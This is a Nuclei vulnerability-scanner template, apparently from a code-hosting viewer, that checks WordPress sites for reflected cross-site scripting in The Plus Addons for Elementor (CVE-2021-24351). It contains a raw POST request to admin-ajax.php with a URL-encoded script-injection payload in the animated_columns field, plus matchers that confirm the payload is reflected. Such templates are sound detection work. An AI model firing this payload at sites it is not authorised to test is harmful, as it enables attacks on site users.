nuclei-templates/cves/2021/CVE-2021-24351.yaml

43 lines
1.5 KiB
YAML
Raw Normal View History

2022-12-21 15:13:37 +00:00
id: CVE-2021-24351
info:
name: The Plus Addons for Elementor < 4.1.12 - Reflected Cross-Site Scripting (XSS)
author: Maximus Decimus
severity: medium
description: |
The theplus_more_post AJAX action of The Plus Addons for Elementor Page Builder WordPress plugin before 4.1.12 did not properly sanitise some of its fields, leading to a reflected Cross-Site Scripting (exploitable on both unauthenticated and authenticated users)
reference:
- https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
- https://nvd.nist.gov/vuln/detail/CVE-2021-24351
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24351
tags: cve,cve2021,wordpress,wp-plugin,wp,xss
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 174
Connection: close
action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(%2fXSS%2f)%3c%2fscript%3e
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(/XSS/)</script>"
- type: word
part: header
words:
- text/html